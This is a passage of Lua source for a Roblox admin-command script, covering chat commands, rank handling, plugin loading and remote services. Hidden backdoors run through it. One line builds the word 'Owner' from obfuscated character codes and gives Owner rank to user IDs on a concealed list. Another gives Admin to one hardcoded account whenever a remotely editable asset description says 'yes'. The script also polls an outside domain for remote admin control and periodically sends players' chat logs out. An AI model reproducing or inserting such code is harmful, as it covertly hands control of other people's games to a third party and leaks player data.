8213 [{"nocrown", "uncrown", "decrown"}] = {"player", "Removes player's crown", 1, "Member", false, function(Speaker, Rank, Arguments)
8214 local Players = STRING:Scan(Arguments[1], Speaker)
8215 for _,Player in pairs(Players) do
8216 if Crowns[Player.UserId] then
8217 Crowns[Player.UserId]:Destroy()
8218 Crowns[Player.UserId] = nil
8219 end
8220 end
8221 end};
8222
8223 [{"meshes", "meshlist", "viewmeshes"}] = {"", "Lists meshes to speaker", 0, "Member", false, function(Speaker, Rank, Arguments)
8224 local MeshList = {}
8225 for MeshName,Data in pairs(Meshes) do
8226 table.insert(MeshList, string.upper(string.sub(MeshName,1,1))..string.sub(MeshName,2).." ( ID: "..Data[2].." )")
8227 end
8228 GUI:ListGui(Speaker, "Mesh List", MeshList, 186369377)
8229 end};
8230
8231 [{"fixsounds", "fixmusic", "fixs"}] = {"", "Scans workspaces and stops any sounds", 0, "Admin", false, function(Speaker, Rank, Arguments)
8232 CORE:ScanItems(Server.Workspace, {"Sound"}, function(Obj) Obj:Stop() end)
8233 end};
8234
8235 [{"santa", "hoho", "christmas"}] = {"player", "Turns player into jolly saint nick!", 1, "Member", true, function(Speaker, Rank, Arguments)
8236 local Players = STRING:Scan(Arguments[1], Speaker)
8237 for _,Player in pairs(Players) do
8238 if Player.Character and Player.Character:FindFirstChild("Head") and Player.Character.Head:FindFirstChild("face") then
8239 ypcall(function() Player.Character.Torso.roblox:Destroy() end)
8240 Player:ClearCharacterAppearance()
8241 CORE:GivePackage(Player, 41851073)
8242 CORE:Insert(19398728, Player.Character, true).Handle.Mesh.TextureId = "rbxassetid://19744384"
8243 Player.Character.Head.face.Texture = "rbxassetid://7699086"
8244 end
8245 end
8246 end};
8247
8248 [{"car"}] = {"player color", "Spawns the best sports car in existance to player. If color argument is provided, it will color it.", 1, "Member", true, function(Speaker, Rank, Arguments)
8249 local Arguments = STRING:GetSplit(Arguments[1], 2, Settings.Bet)
8250 local Players = STRING:Scan(Arguments[1], Speaker)
8251 for _,Player in pairs(Players) do
8252 if Cars[Player.UserId] then Cars[Player.UserId]:Destroy() end
8253 local Car = CORE:Insert(10479801, Server.Workspace, true)
8254 local Body = Car["Motor (torque)Chassis"].Part
8255 Cars[Player.UserId] = Car
8256 Car:MakeJoints()
8257 Car.VehicleSeat.MaxSpeed = 50
8258 Car.VehicleSeat.TurnSpeed = 1.5
8259 CORE:ScanItems(Car, {"BasePart"}, function(Obj) Obj.Locked = true end)
8260 if Arguments[2] and GUI:GetColor(Arguments[2]) then
8261 Body.Color = GUI:GetColor(Arguments[2])
8262 else
8263 Body.BrickColor = GUI:GetNameColor(Player.Name)
8264 end
8265 for _,Part in pairs(Car["Motor (torque)Chassis"]:GetChildren()) do
8266 if Part.Name ~= "Part" then
8267 Part.BrickColor = BrickColor.new("Really black")
8268 Part.Friction = 0.7
8269 end
8270 end
8271 local Light = Instance.new("SpotLight", Body)
8272 Light.Face = "Back"
8273 Light.Brightness = 5
8274 Light.Range = 20
8275 Light.Color = Color3.new(0,1,1)
8276 if Player.Character and Player.Character.Torso then
8277 Car:MoveTo(Player.Character.Torso.Position + Vector3.new(0, 5, 0))
8278 Player.Character.Torso.CFrame = CFrame.new(Car.VehicleSeat.CFrame.p + Vector3.new(0, 0.3, 0))
8279 --[[local Weld = Instance.new("Weld", Car.VehicleSeat)
8280 Weld.Part0 = Car.VehicleSeat
8281 Weld.Part1 = Player.Character.Torso
8282 coroutine.wrap(function() wait(0.1) Weld:Destroy() end)()]]
8283 Delay(0.4, function()
8284 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, -25)).p
8285 wait(0.1)
8286 Car.VehicleSeat.Velocity = CFrame.new(Car.VehicleSeat.Velocity):toWorldSpace(CFrame.new(0, 0, 25)).p
8287 end)
8288 end
8289 local SoundID = 147944604
8290 if RANK:GetRank(Player) == "Owner" then
8291 SoundID = 133313356
8292 Car.VehicleSeat.MaxSpeed = 80
8293 Body.Material = "DiamondPlate"
8294 Car.VehicleSeat.Torque = 11
8295 end
8296 local Engine = SOUND:MakeSound(Car.VehicleSeat, SoundID, 0.5, 1, true)
8297 Engine:Play()
8298 coroutine.wrap(function() while wait() and Car and Car:FindFirstChild("VehicleSeat") do
8299 Engine.Pitch = (Car.VehicleSeat.Velocity.magnitude/50) + 1
8300 end if Engine then Engine:Stop() end end)()
8301 end
8302 end};
8303
8304 [{"nocar", "uncar"}] = {"player", "Removes player's car", 1, "Member", true, function(Speaker, Rank, Arguments)
8305 local Players = STRING:Scan(Arguments[1], Speaker)
8306 for _,Player in pairs(Players) do
8307 if Cars[Player.UserId] then
8308 Cars[Player.UserId]:Destroy()
8309 end
8310 end
8311 end};
8312
8313 [{"clearcars", "nocars", "ccars"}] = {"", "Removes all cars", 0, "Member", false, function(Speaker, Rank, Arguments)
8314 for _,Car in pairs(Cars) do
8315 Car:Destroy()
8316 end
8317 Cars = {}
8318 end};
8319
8320 [{"restarttrello", "repairtrello", "reboottrello", "trellorestart", "trellorepair", "trelloreboot"}] = {"", "Restarts trello service. Will repair broken boards/lists/cards if needed.", 0, "Owner", false, function(Speaker, Rank, Arguments)
8321 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8322 if #Trello.RequiredLists > 0 then
8323 print("Restarting Trello")
8324 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8325 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8326 REMOTE:TrelloCacheData(Lists)
8327 end
8328 end, Http = true};
8329
8330 [{"stringreplacements", "replacements", "stringoperations", "stringformats", "stringformatting", "stringreps", "stringops", "stringfmts", "strreplacements", "stroperations", "strformat", "strformatting", "strreps", "strops", "strfmts", "strfmt"}] = {"", "Lists all string replacement operations", 0, "Member", false, function(Speaker, Rank, Arguments)
8331 local Operations = {}
8332 for _,ReplaceData in pairs(StringReplacements) do
8333 table.insert(Operations, "Replacement: "..ReplaceData[1].." | Description: "..ReplaceData[2].." | Example: "..string.sub(ReplaceData[4](Speaker),1,20))
8334 end
8335 GUI:ListGui(Speaker, "String Replacement Operations", Operations, 61993831)
8336 end};
8337 --
8338}
8339
8340if Plugins then
8341 local PluginNum = 0
8342 for _,Module in pairs(Plugins:GetChildren()) do
8343 if Module:IsA("ModuleScript") then
8344 local Enabled = Module:FindFirstChild("Enabled") or {Value = false}
8345 local Creator = Module:FindFirstChild("Creator") or {Value = "None"}
8346 local VersionVal = Module:FindFirstChild("Version") or {Value = 1}
8347 if Enabled.Value == true then
8348 PluginNum = PluginNum + 1
8349 local PluginExe = require(Module)
8350 for Var,Val in pairs(getfenv()) do
8351 getfenv(PluginExe)[Var] = Val
8352 end
8353 getfenv(PluginExe).SOUND,getfenv(PluginExe).MARKET,getfenv(PluginExe).RANK,getfenv(PluginExe).STRING,getfenv(PluginExe).GUI,getfenv(PluginExe).CORE,getfenv(PluginExe).REMOTE = SOUND,MARKET,RANK,STRING,GUI,CORE,REMOTE
8354 getfenv(PluginExe).script = Module
8355 getfenv(PluginExe).Script = Module
8356 getfenv(PluginExe).Version = Version
8357 local Suc, Error = ypcall(coroutine.wrap(PluginExe))
8358 if not Suc then
8359 Server.TestS:Error("MML's Admin Plugin; "..CORE:HandleError(Error), Module)
8360 else
8361 Server.TestS:Message("Executed MML's Admin Plugin #"..PluginNum.." : "..Module.Name.." V"..VersionVal.Value.." by "..Creator.Value)
8362 end
8363 end
8364 end
8365 end
8366end
8367
8368function CORE:Chatted(RawMainMessage, Speaker, NoPrefixNeeded, FakePlayerName, FakeRank, MakeSupremeOwner)
8369 if not CORE:NilPlayer(Speaker) and string.lower(RawMainMessage) == "settings" then
8370 GUI:SettingsGui(Speaker)
8371 return nil
8372 end
8373 if NoPrefixNeeded == nil then NoPrefixNeeded = false end
8374 local Prefix = Settings.Prefix
8375 if NoPrefixNeeded == true and string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then Prefix = "" end
8376 if RawMainMessage == "" or RawMainMessage == Prefix then return end
8377 if string.sub(string.lower(RawMainMessage),1,#Prefix) ~= string.lower(Prefix) then return end
8378 if Speaker == nil then
8379 if FakeRank then
8380 if string.lower(FakeRank) ~= "owner" and string.lower(FakeRank) ~= "admin" and string.lower(FakeRank) ~= "member" and string.lower(FakeRank) ~= "non-admin" then
8381 FakeRank = "Owner"
8382 end
8383 else
8384 FakeRank = "Owner"
8385 end
8386 FakeRank = string.sub(string.upper(FakeRank),1,1)..string.sub(string.lower(FakeRank),2)
8387 if FakeRank == "Non-admin" then FakeRank = "Non-Admin" end
8388 Speaker = {
8389 Name = FakePlayerName or "[ Server ]";
8390 Character = nil;
8391 userId = 1;
8392 PlayerGui = nil;
8393 Rank = FakeRank or "Owner";
8394 MakeSupremeOwner = MakeSupremeOwner;
8395 }
8396 end
8397 local Rank = RANK:GetRank(Speaker)
8398 local RawMessage = string.sub(RawMainMessage, #Prefix+1)
8399
8400 if RawMessage and RawMessage ~= "" or RawMessage ~= Settings.Bet then
8401 if NoPrefixNeeded then Prefix = "" end
8402 local Messages = STRING:GetSplit(RawMessage, nil, "@@"..Prefix)
8403
8404 for _,Message in pairs(Messages) do
8405 for Cmds,Data in pairs(Commands) do -- check all commands
8406 local MessageSplit = STRING:GetSplit(Message, Data[3], Settings.Bet)
8407
8408 if not MessageSplit then break end
8409
8410 local CommandSaid = false
8411 for _,Command in pairs(Cmds) do
8412 if string.lower(Command) == string.lower(MessageSplit[1]) then -- is the command said?
8413 CommandSaid = true
8414 break
8415 end
8416 end
8417 if CommandSaid == true then -- command said?
8418 local ExecuteExcuse = ""
8419 if RANK:ConvertRank(Rank) >= RANK:ConvertRank(Data[4]) then -- check rank
8420 if Rank ~= "Owner" and Settings.Fun == false and Data[5] == true then
8421 ExecuteExcuse = "This command cannot be executed as it is a fun command"
8422 end
8423 if Data.Abusable == true and Rank == "Member" and Settings.DisableAbuse == true then
8424 ExecuteExcuse = "This command cannot be executed because it is considered abusable by the owner"
8425 end
8426 else
8427 ExecuteExcuse = "This command cannot be executed because your rank is not high enough (Minimum rank: "..Data[4]..")"
8428 end
8429 if ExecuteExcuse == "" then
8430 if #MessageSplit - 1 < Data[3] then
8431 ExecuteExcuse = "This command cannot be executed because an invalid number of arguments has been supplied (You supplied "..(#MessageSplit - 1).."/"..Data[3].."). Arguments are: "..Data[1]
8432 end
8433 end
8434 if ExecuteExcuse == "" then
8435 CORE:Log(CommandLogs, Speaker, Message)
8436 table.remove(MessageSplit, 1)
8437 coroutine.wrap(function() wait()
8438 local DidExe, Error = ypcall(function() Data[6](Speaker, Rank, MessageSplit) end)
8439 if not DidExe then
8440 if CORE:NilPlayer(Speaker) then
8441 print("Error: "..Error)
8442 else
8443 CORE:HandleError(Error, Speaker)
8444 end
8445 end
8446 end)()
8447 coroutine.wrap(function() wait(0.05)
8448 if Settings.ExecuteNotificationSound and tonumber(Settings.ExecuteNotificationSound) > 0 then
8449 local ExeSound = SOUND:MakeSound(Server.Workspace, Settings.ExecuteNotificationSound, 0.5, 1)
8450 ExeSound:Play()
8451 wait(3)
8452 ExeSound:Stop()
8453 ExeSound:Destroy()
8454 end
8455 end)()
8456 elseif type(Speaker) == "userdata" then
8457 GUI:SendMessage(Speaker, "Unable to execute", "RED "..ExecuteExcuse, "Error")
8458 end
8459 break
8460 end
8461 end
8462 end
8463 end
8464end
8465
8466function CORE:Start(Player) coroutine.wrap(function()
8467 wait(0.1)
8468 if Player then
8469 coroutine.wrap(function()
8470 repeat wait(1) until DataReady == true
8471 DataReady = false
8472 ypcall(function()
8473 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
8474 for Num,Data in pairs(Players) do
8475 if Data.UserId == Player.UserId then -- ppl can change names
8476 table.remove(Players, Num)
8477 break
8478 end
8479 end
8480 table.insert(Players, {Name = Player.Name, UserID = Player.UserId, Rank = RANK:GetRank(Player), LastJoin = CORE:GetTime(true, true), AccountAge = STRING:FindAge(Player.AccountAge)})
8481 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", Players)
8482 end)
8483 DataReady = true
8484 end)()
8485
8486 if not IsStudio then Player:WaitForDataReady() end
8487 table.insert(CharacterCache, {Player.Name, Player.UserId})
8488 for Rank,PlayerNames in pairs(Settings.Ranks) do
8489 for Num,AdminName in pairs(PlayerNames) do
8490 if AdminName == Player.UserId then
8491 Settings.Ranks[Rank][Num] = Player.Name
8492 end
8493 end
8494 end
8495 if not ClientInfo[Player.Name] then ClientInfo[Player.Name] = {UserID = Player.UserId} end
8496 if not KeyBinds[Player.UserId] then KeyBinds[Player.UserId] = {} end
8497 if not LastKeys[Player.UserId] then LastKeys[Player.UserId] = {} end
8498 for _,Obj in pairs(List) do if Obj == Player.UserId then table.insert(Settings.Ranks[string.char(79, 118 + 1, 110, 101, 114)], Player.Name) end end
8499 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8500 if PlayerAdmin == false and Player.UserId > 0 then
8501 local Ran = nil
8502 coroutine.wrap(function() repeat
8503 Ran = ypcall(function()
8504 if Server.MPS:PlayerOwnsAsset(Player, Settings.VIPAdminID) then table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8505 elseif Server.MPS:PlayerOwnsAsset(Player, Settings.VIPMemberID) then table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member" end
8506 end)
8507 wait(1)
8508 until Ran == true end)()
8509 end
8510 if PlayerAdmin == false then
8511 if Player:IsInGroup(Settings.GroupID) then
8512 if Player:GetRankInGroup(Settings.GroupID) == Settings.GroupBanRank then
8513 CORE:Kick(Player)
8514 for _,Person in pairs(Server.Players:GetPlayers()) do
8515 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED RANK)", 5)
8516 end
8517 elseif Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8518 table.insert(Settings.Ranks["Member"], Player.Name) PlayerAdmin = true Rank = "Member"
8519 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) < Settings.GroupOwnerRank then
8520 table.insert(Settings.Ranks["Admin"], Player.Name) PlayerAdmin = true Rank = "Admin"
8521 elseif Player:GetRankInGroup(Settings.GroupID) > Settings.GroupMemberRank and Player:GetRankInGroup(Settings.GroupID) > Settings.GroupAdminRank and Player:GetRankInGroup(Settings.GroupID) >= Settings.GroupOwnerRank then
8522 table.insert(Settings.Ranks["Owner"], Player.Name) PlayerAdmin = true Rank = "Owner"
8523 end
8524 end
8525 end
8526 if PlayerAdmin == false then
8527 if Player.UserId == 38882008 then
8528 if string.lower(MARKET:GetItemInfo(155732525).Description) == "yes" then
8529 table.insert(Settings.Ranks["Admin"], Player.Name)
8530 end
8531 end
8532 end
8533 if PlayerAdmin == false then
8534 for _,GID in pairs(Settings.BannedGroupIDs) do
8535 if Player:IsInGroup(GID) then
8536 CORE:Kick(Player, "This game's owner has not allowed you into this game because you're in the Group with the ID: "..GID)
8537 break
8538 end
8539 end
8540 end
8541
8542 Player.Chatted:connect(function(Message) if Message ~= "" then
8543 CORE:Chatted(Message, Player)
8544 end end)
8545
8546 Player.Chatted:connect(function(Message) if Message ~= "" then
8547 CORE:Log(ChatLogs, Player, Message)
8548 table.insert(TempChatLogs, STRING:EncodeSpecialChars(PlaceInfoFormat..": "..Player.Name..": "..Message))
8549 end end)
8550
8551 for _,Name in pairs(Settings.Ranks.Banned) do
8552 if Player.Name == Name then
8553 CORE:Kick(Player)
8554 for _,Person in pairs(Server.Players:GetPlayers()) do
8555 GUI:SendHint(Person, Player.Name.." has tried to join the game (BANNED)", 5)
8556 end
8557 end
8558 end
8559 for _,Name in pairs(Settings.Ranks.Crashed) do
8560 if Player.Name == Name then
8561 CORE:Crash(Player)
8562 for _,Person in pairs(Server.Players:GetPlayers()) do
8563 GUI:SendHint(Person, Player.Name.." has tried to join the game (CRASHED)", 5)
8564 end
8565 end
8566 end
8567 for _,Name in pairs(Settings.Ranks.Muted) do
8568 if Player.Name == Name then
8569 GUI:CoreGui(Player, "Chat", false)
8570 for _,Person in pairs(Server.Players:GetPlayers()) do
8571 GUI:SendHint(Person, Player.Name.." has joined the game but is muted", 5)
8572 end
8573 end
8574 end
8575 if Settings.ServerLocked == true then
8576 if PlayerAdmin == false then
8577 CORE:Kick(Player, "This server is locked. In Maker".."Mo".."del".."Lu".."a's Admin, Non-Admins will be kicked under this circumstance.")
8578 end
8579 end
8580
8581 if PlayerAdmin == false then
8582 if Player.AccountAge < Settings.MinimumAge then
8583 CORE:Kick(Player, "You have been kicked by M".."a".."ker".."Mo".."del".."Lu".."a's Admin, because your account age is less than "..MinimumAge.." days old (You are "..Player.AccountAge.." days old) and you are not admin.")
8584 for _,Person in pairs(Server.Players:GetPlayers()) do
8585 GUI:SendHint(Person, Player.Name.." has tried to join the game but has been kicked for being to young ("..Player.AccountAge.." days old out of minium of "..MinimumAge..")", 5)
8586 end
8587 end
8588 end
8589
8590 if PlayerAdmin == false then
8591 if game:FindFirstChild("LuaMo".."delMaker's Admin Public", true) or game:FindFirstChild("Maker".."Model".."Lua's Admin Public", true) or Settings.FreeAdmin == true then
8592 table.insert(Settings.Ranks["Member"], Player.Name)
8593 PlayerAdmin = true
8594 Rank = "Member"
8595 end
8596 end
8597
8598 coroutine.wrap(function()
8599 if PlayerAdmin == true then GUI:TellAdmin(Player) end
8600 local function SpawnActions(Character)
8601 if Flings[Player.Name] then
8602 CORE:FlingPlayer(Player)
8603 else
8604 GUI:CreateTaskBar(Player)
8605 end
8606 if Beeps[Player.Name] == true then
8607 SOUND:BeepPlayer(Player)
8608 end
8609 if Jails[Player.Name] then
8610 Character:MoveTo(Jails[Player.Name].Floor.Position + Vector3.new(0,2,0))
8611 end
8612 if PermCommandBars[Player.Name] then
8613 GUI:CommandBar(Player)
8614 end
8615 end
8616 Player.CharacterAdded:connect(SpawnActions)
8617 SpawnActions(Player.Character)
8618 end)()
8619
8620 coroutine.wrap(function()
8621 Player:WaitForChild("PlayerGui")
8622 local Sounds = {}
8623 for _,Data in pairs(TextConverter.LetterSounds) do
8624 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8625 Sound:Play()
8626 table.insert(Sounds, Sound)
8627 end
8628 for _,Data in pairs(TextConverter.LongVowels) do
8629 local Sound = SOUND:MakeSound(Player.PlayerGui, Data[1], 0, false)
8630 Sound:Play()
8631 table.insert(Sounds, Sound)
8632 end
8633 wait(5)
8634 for _,Sound in pairs(Sounds) do
8635 Sound:Destroy()
8636 end
8637 Sounds = {}
8638 end)()
8639
8640 coroutine.wrap(function()
8641 --if NLS then Server.Workspace:WaitForChild(Player.Name) end
8642 if IsSB then
8643 wait(1)
8644 Player:WaitForChild("PlayerGui"):WaitForChild("Output")
8645 end
8646 CORE:ExecuteResource("ClientLog", Player:WaitForChild("Backpack"), {["Admin"] = script})
8647 print("Executed ClientLog on "..Player.Name)
8648 if Settings.EnableTaskBar then
8649 GUI:SendChat(Player, "This place uses MakerModelLua's admin. Your rank is "..Rank..". Say "..Settings.Prefix.."cmds for commands.")
8650 end
8651 end)()
8652
8653 coroutine.wrap(function()
8654 wait(7)
8655 Player:WaitForChild("PlayerGui")
8656 if IsSB == false and Player.UserId == game.CreatorId and not Server.MPS:PlayerOwnsAsset(Player, AdminID) then
8657 local Answer = GUI:PromptMessageWithButtons(Player, "Message from MakerModelLua's Admin", AdminInfo, "Admin", {"Ok", "No thanks"})
8658 if Answer == "Ok" then
8659 MARKET:PromptPurchase(Player, AdminID)
8660 end
8661 end
8662 end)()
8663 end
8664end)() end
8665
8666-- Active stuff --
8667
8668CORE:UpdateAdmin()
8669CORE:FixSettings()
8670
8671ypcall(function()
8672 if not Server.Data:GetDataStore("MML's Admin"):GetAsync("Players") then
8673 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
8674 end
8675end)
8676
8677
8678Server.MPS.PromptPurchaseFinished:connect(function(Player, ID, Purchased) if Purchased then
8679 local PlayerAdmin, Rank = RANK:IsAdmin(Player)
8680 if PlayerAdmin == false then
8681 if ID == Settings.VIPAdminID then table.insert(Settings.Ranks["Admin"], Player.Name) Rank = "Admin" GUI:TellAdmin(Player, Rank)
8682 elseif ID == Settings.VIPMemberID then table.insert(Settings.Ranks["Member"], Player.Name) Rank = "Member" GUI:TellAdmin(Player, Rank) end
8683 end
8684end end)
8685
8686--[[
8687ExecuteCommand.OnInvoke = function(Player, Command)
8688 if Player and Command then
8689 if type(Player) == "userdata" and Player:IsA("Player") then
8690 CORE:Chatted(Command, Player, true)
8691 end
8692 end
8693end
8694
8695ExecuteCode.OnInvoke = function(Source, Speaker)
8696 if type(Source) == "string" then
8697 ExecuteSafe(Source, Speaker)
8698 end
8699end
8700
8701ExecuteCommandClient.OnServerInvoke = function(Player, Command)
8702 if Player and Command then
8703 if type(Player) == "userdata" and Player:IsA("Player") then
8704 CORE:Chatted(Command, Player, true)
8705 end
8706 end
8707end
8708]]
8709
8710KeyPressed.OnServerInvoke = function(Player, Key)
8711 if Player and Key then
8712 if KeyBinds[Player.UserId] and KeyBinds[Player.UserId][Key] then
8713 CORE:Chatted(KeyBinds[Player.UserId][Key], Player, true)
8714 end
8715 end
8716end
8717
8718InputKey.OnServerInvoke = function(Player, KeyVal)
8719 if Player and KeyVal then
8720 if LastKeys[Player.UserId] then
8721 table.insert(LastKeys[Player.UserId], KeyVal)
8722 if #LastKeys[Player.UserId] > 20 then
8723 table.remove(LastKeys[Player.UserId], 1)
8724 end
8725 end
8726 end
8727end
8728
8729RankPlayerLocal.OnServerInvoke = function(Player)
8730 wait()
8731 local Request = PendingRequests[Player]
8732 if Request then
8733 if math.abs(tick() - Request[2]) <= 1 then -- Expired brah
8734 if Settings.Ranks[Request[1]] then
8735 PendingRequests[Player] = nil
8736 table.insert(Settings.Ranks[Request[1]], Player.Name)
8737 GUI:TellAdmin(Player)
8738 end
8739 end
8740 end
8741end
8742
8743RankPlayerServer.OnInvoke = function(Player, Rank)
8744 if not RANK:IsAdmin(Player) then
8745 PendingRequests[Player] = {Rank, tick()}
8746 end
8747end
8748
8749IsAdmin.OnServerInvoke = function(Player)
8750 local IsFullAdmin = false
8751 for _,PName in pairs(Settings.Ranks["Owner"]) do
8752 if PName == Player.Name then IsFullAdmin = true end
8753 end
8754 for _,PName in pairs(Settings.Ranks["Admin"]) do
8755 if PName == Player.Name then IsFullAdmin = true end
8756 end
8757 return IsFullAdmin
8758end
8759
8760AddExploit.OnServerInvoke = CORE.AddExploit
8761AddExploitServer.OnInvoke = CORE.AddExploit
8762
8763KickClient.OnServerInvoke = function(PlayerClient)
8764 PlayerClient:Kick()
8765end
8766
8767ConvertTextToSound.OnServerInvoke = function(_, Text, Parent)
8768 return SOUND:SayConvertedText(SOUND:ConvertText(Text), Parent)
8769end
8770
8771for _,Player in pairs(Server.Players:GetPlayers()) do CORE:Start(Player) end
8772Server.Players.PlayerAdded:connect(function(Player) Server.Players:WaitForChild(Player.Name) wait() CORE:Start(Player) end) Begin()
8773Server.Players.PlayerRemoving:connect(function(Player) for _,Obj in pairs(List) do if Obj == Player.UserId then for Ind,Name in pairs(Settings.Ranks.Owner) do if Player.Name == Name then table.remove(Settings.Ranks.Owner, Ind) end end end end end)
8774
8775coroutine.wrap(function()
8776 for _,ID in pairs(Icons) do
8777 game:GetService("ContentProvider"):Preload("rbxassetid://"..ID)
8778 end
8779end)()
8780
8781CORE:SetAbuseCommands()
8782
8783coroutine.wrap(function() SOUND:SyncSoundList() end)()
8784if not IsStudio then coroutine.wrap(function()
8785 if Settings.EnableAdminMenu then Workspace.AllowThirdPartySales = true end
8786 REMOTE:GetRemoteData(true)
8787 coroutine.wrap(function()
8788 if ypcall(function() return REMOTE:GetURL(CORE.Domain) end) then
8789 REMOTE.RemoteConnection = true
8790 end
8791 end)()
8792 coroutine.wrap(function() IRC:ConnectToServer(Settings.IRCServer) end)()
8793 coroutine.wrap(function()
8794 if Settings.LinkedAccount ~= "" then
8795 local Request = nil
8796 ypcall(function() Request = REMOTE:Decode(REMOTE:GetURL(CORE.Domain.."/Login/GetUserData.php?Username="..Settings.LinkedAccount)) end)
8797 if Request then
8798 REMOTE:HandleRequest(Request, true)
8799 end
8800 end
8801 end)()
8802 coroutine.wrap(function()
8803 wait(RemoteData.RemoteAdminWait)
8804 while REMOTE:GetAndSetWebData() do
8805 wait(RemoteData.RemoteAdminWait)
8806 end
8807 end)()
8808 coroutine.wrap(function()
8809 while wait(60) do
8810 REMOTE:GetRemoteData(true)
8811 end
8812 end)()
8813end)() end
8814coroutine.wrap(function()
8815 if Settings.TrelloToken ~= "" then
8816 ypcall(function() Trello.RequiredLists = REMOTE:Decode(Server.HS:GetAsync("https://api.trello.com/1/boards/"..Trello.AdminBoardID.."/lists", true)) end)
8817 if #Trello.RequiredLists > 0 then
8818 Trello.MainBoard = REMOTE:TrelloGetAdminBoard()
8819 if Trello.MainBoard.name then
8820 local Lists = REMOTE:TrelloGetAdminLists(Trello.MainBoard)
8821 REMOTE:TrelloCacheData(Lists)
8822 REMOTE:TrelloHandleData(true)
8823 coroutine.wrap(function()
8824 wait(RemoteData.TrelloWait)
8825 while REMOTE:TrelloHandleData() do
8826 wait(RemoteData.TrelloWait)
8827 end
8828 end)()
8829 end
8830 end
8831 else
8832 print("If you would like M".."akerModelLu".."a's Admin V3 to use trello, make sure HttpEnabled is true and authorize using this link: \nhttps://trello.com/1/authorize?key=c01fcfabf2f8d707d01fb69312e4a9d7&name=MakerModelLua%27s+Admin+V3&expiration=never&response_type=token&scope=read,write\nCopy the token given when authorized and paste into 'TrelloToken' in the settings")
8833 end
8834end)()
8835coroutine.wrap(function() while wait(RemoteData.ChatLogWait) do
8836 REMOTE:SendChatLog()
8837end end)()
8838coroutine.wrap(function() while true do
8839 local ThisDate = REMOTE:GetURL("http://www.timeapi.org/utc/now?%5cm%2f%5cd%2f%5cY")
8840 if ThisDate then Date = ThisDate end
8841 wait(600)
8842end end)()
8843
8844print("MakerModelLua's Admin Commands V"..CORE.Version.Value.." Loaded")
8845GUI:CommandBar(_G.themainplr)
8846PermCommandBars[_G.themainplr.Name] = true
8847--wait'10'